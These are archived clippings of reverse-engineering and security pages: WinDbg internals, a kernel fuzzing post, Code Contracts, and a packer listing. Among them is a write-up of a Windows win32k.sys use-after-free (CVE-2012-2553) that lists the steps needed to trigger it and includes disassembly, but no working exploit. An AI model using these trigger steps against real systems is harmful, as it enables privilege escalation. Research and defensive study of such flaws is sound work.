the work queues with ExQueueWorkItem\(\), and documents of Windbg did not tell
what command I could use.

###  Finding an Undocumented Command

There are many undocumented commands in Windbg. By using strings.exe against
DLL files under the Windbg folder, you will get hints about them and/or where
to look at. Here is a result of search for "workqueue":

Debuggers\x64>strings -n 5 -s \*.dll | findstr /i workqueue
...

Debuggers\x64\winxp\kdexts.dll: \*\*\*\* NUMA Node %i RealTime WorkQueue

Debuggers\x64\winxp\kdexts.dll: \*\*\*\* NUMA Node %i HyperCritical WorkQueue

Debuggers\x64\winxp\kdexts.dll: \*\*\*\* NUMA Node %i SuperCritical WorkQueue

Debuggers\x64\winxp\kdexts.dll: \*\*\*\* NUMA Node %i Critical WorkQueue

Debuggers\x64\winxp\kdexts.dll: \*\*\*\* NUMA Node %i Delayed WorkQueue

Debuggers\x64\winxp\kdexts.dll: \*\*\*\* NUMA Node %i Normal WorkQueue

Debuggers\x64\winxp\kdexts.dll: \*\*\*\* NUMA Node %i Background WorkQueue

Debuggers\x64\winxp\kdexts.dll: \*\*\*\* Critical WorkQueue

Debuggers\x64\winxp\kdexts.dll: \*\*\*\* Delayed WorkQueue

Debuggers\x64\winxp\kdexts.dll: \*\*\*\* HyperCritical WorkQueue

Debuggers\x64\winxp\kdexts.dll: ExWorkQueue

...

With firing up IDA, I easily found that there was an undocumented \(\*1\)
command named \!exqueue and it was exactly what I wanted.

kd> \!kdexts.help

...

exqueue \[flags\] - Dump the ExWorkerQueues

...

###  Fixing an Issue

The issue was that this commend did not work against Windows 8.1 and 10
targets.

kd> \!exqueue

GetGlobalValue: unable to get NT\!KeNumberNodes type size

So, I started to debug and reverse engineer kdexts.dll a bit more, then
noticed that Windbg was failing to read the nt\!KeNumberNodes, which is always
1 unless you use NUMA, and a solution was just patching code to set 1 to eax.

.text:00000001801161DA lea rcx, aNtKenumbernode ; "NT\!KeNumberNodes"

~~.text:00000001801161E1 call read\_global\_variable~~

.text:00000001801161E1 mov eax, 1

.text:00000001801161E6 mov rbx, cs:qword\_1801A8500

.text:00000001801161ED mov rcx, rbx

.text:00000001801161F0 mov rbp, rax

Here is an output:

kd> \!exqueue

\*\*\*\* NUMA Node 0 - \( Threads: 7/4096 \) \*\*\*\*

...

-> Priority 12 - \( Concurrency: 0/2 \)
...

ExWorkItem \(ffffe00084a91160\)

Routine ListWorkItems\!<lambda\_bae...> \(fffff800746e5290\)

Parameter \(fffff800746e7220\)

ExWorkItem \(ffffe0008105ff10\)

Routine dxgkrnl\!DxgkpProcessTerminationListThread \(...\)

Parameter \(ffffe0008105fbb0\)

WdfWorkItem \(ffffe00082b035a0\)

Routine cdrom\!IoctlWorkItemRoutine \(fffff80072c6e900\)

ExWorkItem \(fffff8006b8ff0c0\)

Routine nt\!CmpDelayDerefKCBWorker \(fffff8006ba5d008\)

Parameter \(0000000000000000\)

...

-> Priority 31 - \( Concurrency: 0/2 \)
-> Associated Threads
THREAD ffffe000828fe040 Cid 0004.0170 Teb: 0000000000000000 Win32Thread:
0000000000000000 WAIT

...

###  Re-implementing the Command

My goal was, however, not to use the command; the goal was to know how it
works, so I reverse engineered \!exqueue more to learn the details of the work
queues and how to enumerate items in them by hand.

Analyzing Windbg commands is often a lot easier than analyzing the kernel file
because it contains a lot of strings that help you know what structures are
dealt with.

<img src='img/Temp2_7241.png' width='320' height='292' />  
---  
Image1: Strings in code of \!enqueue  
This time was not exception. Basically, for Windows 8 and later, the command
gets a NUMA node \(nt\!\_ENODE\) structure containing a reference to the work
queues with looking at nt\!KeNumberNodes and nt\!KeNodeBlock first. Here, I
follow the same procedure as \!exqueue using basic commands.

There is only one NUMA node block as I do not configure NUMA.

kd> dw nt\!KeNumberNodes

fffff803\`f5774008 0001

kd> dps nt\!KeNodeBlock

fffff803\`f576c800 fffff803\`f56c3240 nt\!ExNode0

fffff803\`f576c808 00000000\`00000000

fffff803\`f576c810 00000000\`00000000

Then, the command refers to the \_ENODE.ExWorkQueue.WorkPriQueue.EntryListHead
field, which is an array of the prioritized work queues.

kd> dt nt\!\_ENODE ExWorkQueue.WorkPriQueue. fffff803\`f56c3240

+0x0c0 ExWorkQueues : \[8\]

+0x100 ExWorkQueue :

+0x000 WorkPriQueue :

+0x000 Header : \_DISPATCHER\_HEADER

+0x018 EntryListHead : \[32\] \_LIST\_ENTRY \[

0xfffff803\`f56c3358 -

0xfffff803\`f56c3358 \]

+0x218 CurrentCount : \[32\] 0n0

+0x298 MaximumCount : 4

+0x2a0 ThreadListHead : \_LIST\_ENTRY \[

0xffffe000\`eb78f248 -

0xffffe000\`ecd89a88 \]

Each element of the EntryListHead is a list of work items
\(nt\!\_WORK\_QUEUE\_ITEM\), and the array represents priorities of each list;
in other words, there are 32 work queues and each manages items with priority
0 \(the lowest\) to 31 \(the highest\) respectively.

kd> dt nt\!\_ENODE -a ExWorkQueue.WorkPriQueue.EntryListHead
fffff803\`f56c3240

...

\[12\] \_LIST\_ENTRY \[ 0xffffe000\`846f62f0 \- 0xffffe000\`82bea2c0 \]

...

kd> dt nt\!\_WORK\_QUEUE\_ITEM 0xffffe000\`846f62f0

+0x000 List : \_LIST\_ENTRY \[ 0xffffe000\`8305d130 -

0xfffff800\`6b8ca418 \]

+0x010 WorkerRoutine : 0xfffff800\`746dd290

void ListWorkItems\!<lambda\_7d382b...>+0

+0x018 Parameter : 0xfffff800\`746df220 Void

The \!enqueue command shows the contents of the lists as well as associated
worker threads referred by the ThreadListHead field.

All you can do, I can do :\) I wrote a driver that dumps all items in each
work queue to confirm that the above analysis was correct. Note that because
this driver is just PoC, it works only on the 64 bit version of Win8.1 and
Win10.

https://github.com/tandasat/ListWorkItems

###  Conclusion

Analyzing Windbg commands often gives you good understanding of the Windows
kernel with a less effort than analyzing the kernel file, and even if you do
not find a helpful command at a glance, there may be an undocumented command
which you can reverse engineer to unveil the Windows internals.

####  Side Notes

  1. It seems that \!exqueue used to be documented and then abandoned for some reasons. I found a description about it on a help file came with the Windbg version 6.11.001.404.

  * The ExWorkQueues field in the \_ENODE also holds pointers to the WorkPriQueue structures. It is likely that the structures are allocated for each processor but only one associated with the processor 0 is really used. 

  * Apparently, an item does not go to the queue if any of worker threads is in a wait state \(ie, waiting for an item\) when the item is being queued. I guess the item is associated with a thread without being stored in the queue for performance in this case. For this reason, the command does not show the first item when multiple items are queued at once. 

# CVE-2012-2553: Windows Kernel VDM use-after-free in win32k.sys | j00ru//vx tech blog
**Created:**| _12/19/2012 12:31:22 PM_  
---|---  
**Updated:**| _12/19/2012 12:31:22 PM_  
**Author:**| __  
**Tags:**| _web-app-sec Exploit vulnerability_  
  

# **C** VE-2012-2553: Windows Kernel VDM use-after-free in win32k.sys****

Microsoft addressed several Windows kernel vulnerabilities in the MS12-075
security bulletin released in November this year, some of them residing in
every version of the win32k.sys driver shipped with the NT family line
systems. Apart from the obviously extremely interesting remote web browser =>
ring-0 arbitrary code execution issue, there have also been two other Local
Privilege Escalation bugs, at least one of which was directly related to the
management of legacy 16-bit applications running within a VDM \(Virtual DOS
Machine\)**.** Since the topics of use-after-free vulnerabilities in the
Windows kernel – and especially in old and poorly understood functionality –
seems to be very appealing for most, this post aims to cover some of the
technical details related to that particular security flaw**.** In addition to
\(hopefully\) having some didactic and entertainment value, this write-up and
the very existence of that bug illustrates how trivial it still is to find
elevation of privileges vulnerabilities in undocumented, rarely used features
present in the Windows operating system since more than fifteen or twenty
years by now**.** As a side note, a similar \(yet unrelated\) issue in the
same code area has been previously found by Tarjei Mandt back in 2010 and
documented in his excellent “CVE-2010-3941: Windows VDM Task Initialization
Vulnerability ” post over two years ago**.** There is also more evidence of
Windows VDM and its kernel-mode support \(WOW32\) being subject of in-depth
security research in the past: for example, see “Microsoft Windows NT \#GP
Trap Handler Allows Users to Switch Kernel Stack ” \(Pwnie Award Winner\) or
“EEYE: Windows VDM Zero Page Race Condition Privilege Escalation “**.**

## **The vulnerability******

Some basic information regarding internal structures used by the WOW-related
win32k.sys system calls has already been described by Tarjei in his
article**.** In short, GUI threads can call a “public” **win32k**\!**
xxxRegisterUserHungAppHandlers** routine \(being a part of the _win32k**\!**
apfnSimpleCall_ interface\) either through the win32k**\!** NtUserCallTwoParam
system call or user32**\!** RegisterUserHungAppHandlers – a convenient user-
mode wrapper**.** The service is purposed to be used within the NTVDM.EXE
process, a container for 16-bit DOS apps**.** It is primarily responsible for
allocating a WOWPROCESSINFO kernel structure, assigning it to an internal
_ppiCurrent- >pwpi_ field within PROCESSINFO \(corresponding to the current
process\) and inserting into a linked list pointed to by a global
**win32k**\!** gpwpiFirstWow** symbol as shown on the following listing:

**?**

| `.text:BF9785DA push 'pwsU' ; Tag``.text:BF9785DF push 28h ;
NumberOfBytes``.text:BF9785E1 call
_Win32AllocPoolWithQuotaTagZInit@8``.text:BF9785E6 mov esi,
eax``[..**.**]``.text:BF97861F call
ds:__imp__PsGetCurrentProcessWin32Process@0``[..**.**]``.text:BF97862E mov
[eax+PROCESSINFO.pwpi], esi``.text:BF978634 mov eax,
_gpwpiFirstWow``.text:BF978639 mov [esi], eax``.text:BF97863B mov
_gpwpiFirstWow, esi`  
---|---  
<img src='img/Temp2_1307.png' />

Relations between WOW structures and pointers after a single
xxxRegisterUserHungAppHandlers call**.**

As you can imagine, the code quality of the vulnerable routine wasn’t
\(perhaps still isn’t\) exceptionally good; it assumed that a process would
only call it once during its entire lifespan \(the exact same root cause as
with Tarjei’s bug\), hence it wouldn’t verify whether a WOWPROCESSINFO had
already been allocated before, but would simply overwrite the existing
_ppiCurrent- >pwpi_ pointer and push “duplicate” entries onto the
_gpwpiFirstWow_ list, _in case xxxRegisterUserHungAppHandlers_ was called more
than one time**.**

<img src='img/Temp2_1306.png' />

Relations between all WOW structures after calling
xxxRegisterUserHungAppHandlers twice, and initializing TBD structures with
NtUserInitTask**.**

Further on, when the NTVDM.EXE process terminates and its internal structures
are freed in _win32k**\!** DestroyProcessInfo_, only the _ppiCurrent- >pwpi_
WOWPROCESSINFO structure is removed from the system-wide linked list, leaving
all previous allocations untouched \(effectively causing a memory leak\):

**?**

| `.text:BF8D8DE6 mov eax, offset _gpwpiFirstWow``.text:BF8D8DEB cmp
_gpwpiFirstWow, edx``.text:BF8D8DF1 jz short
loc_BF8D8E05``.text:BF8D8DF3``.text:BF8D8DF3 loc_BF8D8DF3: ; CODE XREF:
DestroyProcessInfo(x)+26D j``.text:BF8D8DF3 mov ecx, [eax]``.text:BF8D8DF5 cmp
ecx, edi``.text:BF8D8DF7 jz short loc_BF8D8E01``.text:BF8D8DF9 mov eax,
ecx``.text:BF8D8DFB cmp [eax], edx``.text:BF8D8DFD jz short
loc_BF8D8E05``.text:BF8D8DFF jmp short loc_BF8D8DF3``.text:BF8D8E01 ;
---------------------------------------------------------------------------``.text:BF8D8E01``.text:BF8D8E01
loc_BF8D8E01: ; CODE XREF: DestroyProcessInfo(x)+265 j``.text:BF8D8E01 mov
ecx, [edi]``.text:BF8D8E03 mov [eax], ecx``.text:BF8D8E05``.text:BF8D8E05
loc_BF8D8E05: ; CODE XREF: DestroyProcessInfo(x)+25F j``.text:BF8D8E05 ;
DestroyProcessInfo(x)+26B j``.text:BF8D8E05 push edx ; Tag``.text:BF8D8E06
push edi ; P``.text:BF8D8E07 call ebx ; ExFreePoolWithTag(x,x) ;
ExFreePoolWithTag(x,x)``.text:BF8D8E09 xor edi, edi``.text:BF8D8E0B mov
[esi+0A4h], edi``.text:BF8D8E11 jmp short loc_BF8D8E15`  
---|---  
<img src='img/Temp2_1305.png' />

Inconsistent thread pointer in the TDB structure upon terminating the
offending VDM container process and freeing internal structures**.**

The stale WOWPROCESSINFO structures in **gpwpiFirstWow** are still publicly
accessible thanks to the **win32k**\!** NtUserPostThreadMessage** system
service, which is implemented in such a way that it lists all items in
gpwpiFirstWow, then for each of them iterates through their corresponding TDB
structures \(starting from WOWPROCESSINFO.ptdbHead\), and if _ptdb- >hTaskWow_
is equal to the user-specified “id” parameter, the function takes _ptdb- >pti_
as the THREADINFO structure to operate on**.**

Without going into much detail, the _ppiCurrent- >pwpi->ptdbHead_ field can be
populated by _win32k**\!** InsertTask_, called by _win32k**\!** zzzInitTask_,
called by _win32k\!NtUserInitTask_**.** The overall list of steps required to
trigger the vulnerability is as follows:

  1. Spawn an NTVDM.EXE subsystem by running a 16-bit application**.**
  2. Inject code into NTVDM and execute it: 
    1. Call _win32k**\!** xxxRegisterUserHungAppHandlers_ to register a WOWPROCESSINFO structure used later for exploitation**.**
    2. Call _win32k\!NtuserInitTask_ to populate _ppiCurrent- >pwpi->ptdbHead_ with a TDB structure referencing the current thread, and _hTaskWow_ set to a custom value \(e**.** g. 0×1337\)
    3. Call _win32k\!xxxRegisterUserHungAppHandlers_ again to overwrite _ppiCurrent- >pwpi_ and insert a second item into _gpwpiFirstWow_**.**
    4. Call _ExitProcess_ , resulting in destroying current thread, and freeing the WOWPROCESSINFO structure allocated in step 2**.** 3**.** \(but not the one from 2.1.\)
  3. Call _win32k**\!** NtuserPostThreadMessage_ with the “id” parameter set to 0×1337, resulting in the routine using a PTHREADINFO pti address pointing at a freed structure describing the thread destroyed in step 2**.** 1.

Practical exploitation of the vulnerability has proven to be non-trivial, but
definitely feasible**.** Considering the nature of the flaw, it requires that
the attacker fills the memory region previously allocated for the THREADINFO
structure with controlled data, requiring a high degree of control over the
kernel session pools’ management and layout**.** Reproducing a system bugcheck
and potentially developing a reliable exploit is left as an excercise for the
reader :-\) I hope you enjoyed the post, and Merry Christmas to everyone**\!**

****

# Contracts - Microsoft Research

**Created:**| _12/7/2012 1:07:44 PM_  
---|---  
**Updated:**| _12/7/2012 1:07:44 PM_  
**Author:**| __  
**Tags:**| _secure coding win8_  
  
  

Code Contracts

Code Contracts provide a language-agnostic way to express coding assumptions
in .NET programs. The contracts take the form of preconditions,
postconditions, and object invariants. Contracts act as checked documentation
of your external and internal APIs. The contracts are used to improve testing
via runtime checking, enable static contract verification, and documentation
generation.

Code Contracts bring the advantages of design-by-contract programming to all
.NET programming languages. The benefits of writing contracts are:

**Improved testability**

  * each contract acts as an oracle, giving a test run a pass/fail indication.
  * automatic testing tools, such as Pex, can take advantage of contracts to generate more meaningful unit tests by filtering out meaningless test arguments that don't satisfy the pre-conditions. 

**Static verification** We have prototyped numerous static verification tools
over the past years. Our current tool takes advantage of contracts to reduce
false positives and produce more meaningful errors.

**API documentation** Our API documentation often lacks useful information.
The same contracts used for runtime testing and static verification can also
be used to generate better API documentation, such as which parameters need to
be non-null, etc.

Our solution consists of using a set of static library methods for writing
preconditions, postconditions, and object invariants as well as three tools:

  * **ccrewrite** , for generating runtime checking from the contracts
  * **cccheck** , a static checker that verifies contracts at compile-time.
  * **ccdoc** , a tool that adds contracts to the XML documentation files and to Sandcastle-generated MSDN-style help files.

The use of a library has the advantage that all .NET languages can immediately
take advantage of contracts. There is no need to write a special parser or
compiler. Furthermore, the respective language compilers naturally check the
contracts for well-formedness \(type checking and name resolution\) and
produce a compiled form of the contracts as MSIL. Authoring contracts in
Visual Studio allows programmers to take advantage of the standard
intellisense provided by the language services. Previous approaches based on
.NET attributes fall far short as they neither provide an expressive enough
medium, nor can they take advantage of compile-time checks.

**Contracts** are expressed using static method calls at method entries. Tools
take care to interpret these **declarative contracts** in the right places.
These methods are found in the **System.Diagnostics.Contracts** namespace.

**• Contract.Requires** takes a boolean condition and expresses a precondition
of the method. A precondition must be true on entry to the method. It is the
caller's responsibility to make sure the pre-condition is met.

**• Contract.Ensures** takes a boolean condition and expresses a postcondition
of the method. A postcondition must be true at all normal exit points of the
method. It is the implementation's responsibility that the postcondition is
met.

Full details are in the user documentation.

# **Download**

Our tools can be installed in any Visual Studio edition \(except Express\).
The license **does** allow commercial use. Here is a direct link to the msi
file.

After installing please use the link to the documentation under All Programs
-> Microsoft Code Contracts to get you started.

# **Contact us**

Please use our new msdn forum for contract releated discussions, questions,
bug reports, and suggestions.

You can also email us _codconfb_ \_at\_ _microsoft_ \_dot\_ _com_ .

# **Project Members**

  * Mike Barnett
  * Sheldon Blauman
  * Manuel Fähndrich
  * Brian Grunkemeyer
  * Immo Landwerth
  * Francesco Logozzo
  * Daryl Zuniga

Publications

  * Patrick Cousot, Radhia Cousot, Manuel Fahndrich, and Francesco Logozzo, Automatic Inference of Necessary Preconditions, in _in Proceedings of the 14th Conference on Verification, Model Checking and Abstract Interpretation \(VMCAI'13\)_ , Springer Verlag, January 2013
  * Mehdi Bouaziz, Francesco Logozzo, and Manuel Fahndrich, Inference of Necessary Field Conditions with Abstract Interpretation , in _10th Asian Symposium on Programming Languages and Systems \(APLAS 2012\)_ , Springer, December 2012
  * Patrick Cousot, Radhia Cousot, Francesco Logozzo, and Mike Barnett, An Abstract Interpretation Framework for Refactoring with Application to Extract Methods with Contracts, in _Proceedings of the 27th ACM International Conference on Object Oriented Programming Systems Languages and Applications \(OOPSLA'12\)_ , ACM SIGPLAN, 23 October 2012
  * Francesco Logozzo and Tom Ball, Modular and Verified Automatic Program Repair, in _Proceedings of the 27th ACM International Conference on Object Oriented Programming Systems Languages and Applications \(OOPSLA'12\)_ , ACM SIGPLAN, 23 October 2012
  * Francesco Logozzo, Patrick Cousot, Radhia Cousot, Manuel Fahndrich, and Mike Barnett, A Semantic Integrated Development Environment, in _Companion of the Proceedings of the to the 27th Annual ACM SIGPLAN Conference on Object-Oriented Programming, Systems, Languages, and Applications \(OOPSLA 2012\)_ , ACM SIGPLAN, October 2012
  * Manuel Fahndrich, Michael Barnett, Daan Leijen, and Francesco Logozzo, Integrating a Set of Contract Checking Tools into Visual Studio, in _Proceedings of the 2012 Second International Workshop on Developing Tools as Plug-ins \(TOPI 2012\)_ , IEEE, 3 June 2012
  * Francesco Logozzo, Our Experience with the CodeContracts Static Checker, in _Proceedings of the Verified Software: Theories, Tools, and Experiments_ , Springer, January 2012
  * Manuel Fahndrich and Francesco Logozzo, Checking Compatibility of Bit Sizes in Floating Point Comparison Operations, in _Proceedings of the 3rd workshop on Numerical and Symbolic Abstract Domains_ , Electronic Proceedings in Theoretical Computer Science, September 2011
  * Francesco Logozzo, Practical verification for the working programmer with CodeContracts and Abstract Interpretation - Invited Talk, in _Proceedings of the 12th Conference on Verification, Model Checking and Abstract Interpretation \(VMCAI'11\)_ , Springer Verlag, January 2011
  * Patrick Cousot, Radhia Cousot, and Francesco Logozzo, A Parametric Segmentation Functor for Fully Automatic and Scalable Array Content Analysis, in _Proceedings of the 38th Symposium on Programming Languages \(POPL'11\)_ , Association for Computing Machinery, Inc., January 2011
  * Patrick Cousot, Radhia Cousot, and Francesco Logozzo, Contract Precondition Inference from Intermittent Assertions on Collections, in _Proceedings of the 12th Conference on Verification, Model Checking and Abstract Interpretation \(VMCAI'11\)_ , Springer Verlag, January 2011
  * Manuel Fahndrich and Francesco Logozzo, Static contract checking with Abstract Interpretation, in _Proceedings of the Conference on Formal Verification of Object-oriented Software \(FoVeOOS 2010\)_ , Springer Verlag, October 2010
  * Patrick Cousot, Radhia Cousot, and Francesco Logozzo, Contract Precondition Inference from Intermittent Assertions on Collections, no. MSR-TR-2010-117, September 2010
  * Manuel Fahndrich, Static Verification for Code Contracts, in _SAS'10 Proceedings of the 17th international conference on Static analysis_ , Springer Verlag, September 2010
  * Mike Barnett, Manuel Fahndrich, and Francesco Logozzo, Embedded Contract Languages, in _ACM SAC - OOPS_ , Association for Computing Machinery, Inc., March 2010
  * Vincent Laviron and Francesco Logozzo, Refining Abstract Interpretation-based Static Analyses with Hints, in _Seventh Asian Symposium on Programming Languages and Systems \(APLAS 2009\)_ , Springer Verlag, December 2009
  * Michael Barnett, Manuel Fahndrich, Francesco Logozzo, Peli de Halleux, and Nikolai Tillmann, Exploiting the Synergy between Automated-Test-Generation and Programming-by-Contract, in _Proc. 31st International Conference on Software Engineering \(ICSE'2009\)_ , IEEE, May 2009
  * Francesco Logozzo and Vincent Laviron, SubPolyhedra: A \(more\) scalable approach to infer linear inequalities, in _Proceedings of the 10th International Conference on Verification, Model Checking and Abstract Interpretation \(VMCAI'09\)_ , Springer Verlag, January 2009
  * Francesco Logozzo and Manuel Fahndrich, Pentagons: A Weakly Relational Abstract Domain for the Efficient Validation of Array Accesses, in _Science of Computer Programming_ , Springer Verlag, 2009
  * Pietro Ferrara, Francesco Logozzo, and Manuel Fähndrich, Safer unsafe code for .NET, in _Proceedings of the 23rd ACM Conference on Object-Oriented Programming \(OOPSLA'08\)_ , Association for Computing Machinery, Inc., October 2008
  * Francesco Logozzo and Manuel Fähndrich,  Pentagons: A weakly relational domain for the efficient validation of array accesses, in _Proceedings of the 23th ACM Symposium on Applied Computing_ , Association for Computing Machinery, Inc., March 2008
  * Francesco Logozzo and Manuel Fähndrich,  On the Relative Completeness of Bytecode Analysis versus Source Code Analysis, in _Proceedings of the International Conference on Compiler Construction_ , Springer Verlag, 2008

  

# Simple Executable Packer | Download Simple Executable Packer software for free at SourceForge.net
**Created:**| _11/24/2010 2:03:40 PM_  
---|---  
**Updated:**| _11/24/2010 2:03:59 PM_  
**Author:**| __  
**Tags:**| _security tools reversing_  
  

<img src='img/Temp2_7523.jpg' width='100' height='80' alt='Simple Executable
Packer Screenshot' />

View screenshots

A simple windows .exe/.dll packer. \(Compresses code section and your compiled
binaries waste less space\) Almost whole codes written in pure C and very
minimal also understandable \(which makes modifying very easy; like debugger
traps, encryption etc.\)

# Improving Coverage Guided Fuzzing, Using Static Analysis

**Created:**| _5/7/2017 10:23:00 AM_  
---|---  
**Updated:**| _5/7/2017 10:23:00 AM_  
**Author:**| __  
**Tags:**| _Debugging fuzzing_  
  

  

# Improving Coverage Guided Fuzzing, Using Static Analysis

May 1, 2017

SMT solvers are powerful, but their great power needs great computational
infrastructure \(if you want to put them in real-word practice\), and its
something that I don’t have, So I constantly try to find new ways to improve
fuzzing without need of heavy computational overhead. There are some ways to
avoid SMT Solvers and improving the code coverage significantly. For example
the idea of transforming the code \(in compile time\) in a way that helps
guided brute-force fuzzing find its way in deeper paths of the program has
gain attention lately\[0\]\[1\]. But when you are dealing with binaries, you
can’t easily transform the compare instructions \(e.g “CMP REG, CONSTANT” or
string comparisons\) to a split variation that helps the fuzzer to butte-force
the constant operand one byte at the time \(In KFLOG I can instrument the
execution of CMP without any sensible overhead, but I will talk about that in
another blog post when I fully implemented and tested it\).

But it is still possible to improve the code coverage of a guided fuzzer
without use of SMT solvers or instrumentation of CMP instruction when it
stucks on a block with a constant comparison, using simple static analysis on
CMP instructions.

By use of a simple IDA script, I first enumerates all the CMP instructions
with a constant operand, then I enumerate the Jump Instructions that are
related to the targeted CMP instruction \(some times CMP is followed by more
than one jump, for example a JZ and then a JA\). After that I generate a
constant that negates each CMP conditions, then I save the constant and its
negation\(s\) on a dictionary file. The dictionary content is later gets
injected into the input buffer by KFUZZ during a fuzzing session. You can
further improve this by adding string constants to the dictionary too.

The effect is really impressive, for example KFUZZ is now able to pass the
following test without need to instrument the CMP instruction \(to split the
constant\) while producing good coverage \(It can produce full coverage if I
don’t stop the fuzzing when it reaches the “return TRUE” line.\):

[code]

    // fuzzer test functions, garbed from LllvmFuzzer tests
    // https://github.com/llvm-mirror/llvm/tree/master/lib/Fuzzer/test
    
    static volatile INT sink;
    
    BOOLEAN
    LongSwitch(
        CONST PUCHAR Data,
        SIZE_T       Size
        ) 
    {
        ULONGLONG X;
    
        if (Size < sizeof(X)) 
            return FALSE;
    
        memcpy(&X, Data, sizeof(X));
        switch (X) {
    
            case 1: sink = __LINE__; break;
            case 101: sink = __LINE__; break;
            case 1001: sink = __LINE__; break;
            case 10001: sink = __LINE__; break;
            case 100001: sink = __LINE__; break;
            case 1000001: sink = __LINE__; break;
            case 10000001: sink = __LINE__; break;
            case 100000001: return TRUE;
        }
    
        return FALSE;
    }
[/code]

<img src='img/longswitchcfg.png' width='497' height='390' alt='LongSwitchCFG'
/>

Driller paper\[2\] introduced a challenge that emphasis the use of concolic
execution on fuzzing. The challenge is written in a way that a normal guided
fuzzer like AFL\[3\] is unable to complete because the use of a 4 bytes
numeric constant and two string constants. A fuzzer have to guess this values
correctly to be able to find the bug. I implemented the same challenge in
KTEST driver and gave it a try using constant dictionary \(contains both CMP
and string constants + memory compare routines instrumentation disabled\):

[code]

    #define DRILLER_TEST_MAGIC  0x9e3779b9
    typedef struct _DRILLER_TEST_CONFIG {
        ULONG Magic;
        CHAR Directive[64];
    } DRILLER_TEST_CONFIG, *PDRILLER_TEST_CONFIG;
    
    NTSTATUS
    DrillerTest(
        IN PUCHAR Buffer,
        IN ULONG  BufferLen
        )
    {
        PDRILLER_TEST_CONFIG pConfig;
    
        if (BufferLen < sizeof(DRILLER_TEST_CONFIG))         
            return STATUS_INVALID_BUFFER_SIZE;
     
        pConfig = (PDRILLER_TEST_CONFIG)Buffer;     
        if (pConfig->Magic != DRILLER_TEST_MAGIC) {
            
            DbgPrint("[KTEST] Bad magic number\n");
            return STATUS_INVALID_PARAMETER;
        }
    
        if(!strncmp(pConfig->Directive, "crashstring", 12)) {
            
            DbgPrint("[KTEST] passed the DrillerTest (crashstring)!\n");
            return STATUS_SUCCESS;
        }
        else if(!strncmp(pConfig->Directive, "setoption", 10)) {
    
            /* setoption(config->directives[1]); */
            DbgPrint("[KTEST] passed the DrillerTest! (setoption)\n");
            return STATUS_SUCCESS;
        }
        else {
    
            /* _default(); */
            DbgPrint("[KTEST] DrillerTest called the _default()\n");
            return STATUS_INVALID_PARAMETER;
        }
    }
[/code]

First a few bytes in the queued files in demo above are KFUZZ’s internal
structure contains some scheduling information about the queued test-case.

After that I tested it using a dictionary contains only CMP constants \(no
string constant\) and enabled memory compare routine instrumentation \(I
started recording in the middle of session and sorry, eye-protector poped up
in the middle of video for 20 sec\).

* * *
\[0\] https://lafintel.wordpress.com/2016/08/15/circumventing-fuzzing-
roadblocks-with-compiler-transformations/  
\[1\] http://dl.acm.org/citation.cfm?id=2594450  
\[2\] https://www.internetsociety.org/sites/default/files/blogs-media/driller-
augmenting-fuzzing-through-selective-symbolic-execution.pdf  
\[3\] http://lcamtuf.coredump.cx/afl/

From → Uncategorized

  

# Debugger tricks: Find all probable CONTEXT records in a crash dump

**Created:**| _10/8/2009 3:45:16 PM_  
---|---  
**Updated:**| _10/8/2009 3:45:16 PM_  
**Author:**| __  
**Tags:**| __  
  

## Debugger tricks: Find all probable CONTEXT records in a crash dump

If you’ve debugged crash dumps for awhile, then you’ve probably ran into a
situation where the initial dump context provided by the debugger corresponds
to a secondary exception that happened while processing an initial exception
that’s likely closer to the original underlying problem in the issue you’re
investigating.

This can be annoying, as the “ _.ecxr_ ” command will point you at the site of
the secondary failure exception, and not the original exception context
itself. However, in most cases the original, primary exception context is
still there on the stack; one just needs to know how to find it.

There are a couple of ways to go about this:

  * For hardware generated exceptions \(such as access violations\), one can look for _ntdll\!KiUserExceptionDispatcher_ on the stack, which takes a PCONTEXT and an PEXCEPTION\_RECORD as arguments.
  * For software-generated exceptions \(such as C++ exceptions\), things get a bit dicier. One can look for _ntdll\!RtlDispatchException_ being called on the stack, and from there, grab the PCONTEXT parameter.

This can be a bit tedious if stack unwinding fails, or you’re dealing with one
of _those_ dumps where exceptions on multiple threads at the same time,
typically due to crash dump writing going haywire \(I’m looking at you,
Outlook…\). It would be nice if the debugger could automate this process a
little bit.

Fortunately, it’s actually not hard to do this with a little bit of a brute-
force approach. Specifically, just a plain old “dumb” memory scan for
something common to most all CONTEXT records. It’s not exactly a finesse
approach, but it’s usually a lot faster than manually groveling through the
stack, especially if multiple threads or multiple nested exceptions are
involved. While there may be false-positives, it’s usually immediately obvious
as to what makes sense to be involved with a live exception or not. Sometimes,
however, quick-and-dirty brute force type solutions really end up doing the
trick, though.

In order to find CONTEXT records based on a memory search, though, we need
some common data points that are typically the same for all CONTEXT
structures, and, preferably, contiguous \(for ease of use with the “ _s_ ”
command, the debugger’s memory search support\). Fortunately, it turns out
that this exists in the form of the segment registers of a CONTEXT structure:

0:000> dt ntdll\!\_CONTEXT  
+0×000 ContextFlags : Uint4B  
\[...\]  
  
+0×08c SegGs : Uint4B  
+0×090 SegFs : Uint4B  
+0×094 SegEs : Uint4B  
+0×098 SegDs : Uint4B  
  
\[...\]

Now, it turns out that for all threads in a given process will almost always
have the same segment selector values, excluding exotic and highly out of the
ordinary cases like VDM processes. \(The same goes for the segment selector
values on x64 as well.\) Four non-zero 32-bit values \(actually, 16-bit values
with zero padding to 32-bits\) are enough to be able to reasonably pull a
search off without being buried in false positives. Here’s how to do it with
the infamous WinDbg debugger script \(also applicable to other DbgEng-enabled
programs, such as kd\):

_.foreach \( CxrPtr \{ s -\[w1\]d 0 l?ffffffff @gs @fs @es @ds \} \) \{ .cxr
CxrPtr – 8c \}_

This is a bit of a long-winded command, so let’s break it down into the
individual components. First, we have a “ _.foreach_ ” construct, which
according to the debugger documentation, follows this convention:

_.foreach \[Options\] \( Variable \{ InCommands \} \) \{ OutCommands \}_

The _.foreach_ command \(actually one of the more versitle debugger-scripting
commands, once one gets used to using it\) basically takes a series of input
strings generated by an input command \(InCommands\) and invokes an command to
process that output \(OutCommands\), with the results of the input command
being subsituted in as a macro specified by the Variable argument. It’s ugly
and operates based on text parsing \(and there’s support for skipping every X
inputs, among other things; see the debugger documentation\), but it gets the
job done.

The next part of this operation is the _s_ command, which instructs the
debugger to search for a pattern in-memory in the target. The arguments
supplied here instruct the debugger to search only writable memory \(_w_\),
output only the address of each match \(_1_\), scan for DWORD \(4-byte\) sized
quanitites \(_d_\) in the lower 4GB of the address space \(_0 l?ffffffff_\);
in this case, we’re assuming that the target is a 32-bit process \(which might
be hosted on Wow64, hence 4GB instead of 3GB used\). The remainder of the
command specifies the search pattern to look for; the segment register values
of the current thread. The “ _s_ ” command sports a plethora of other options
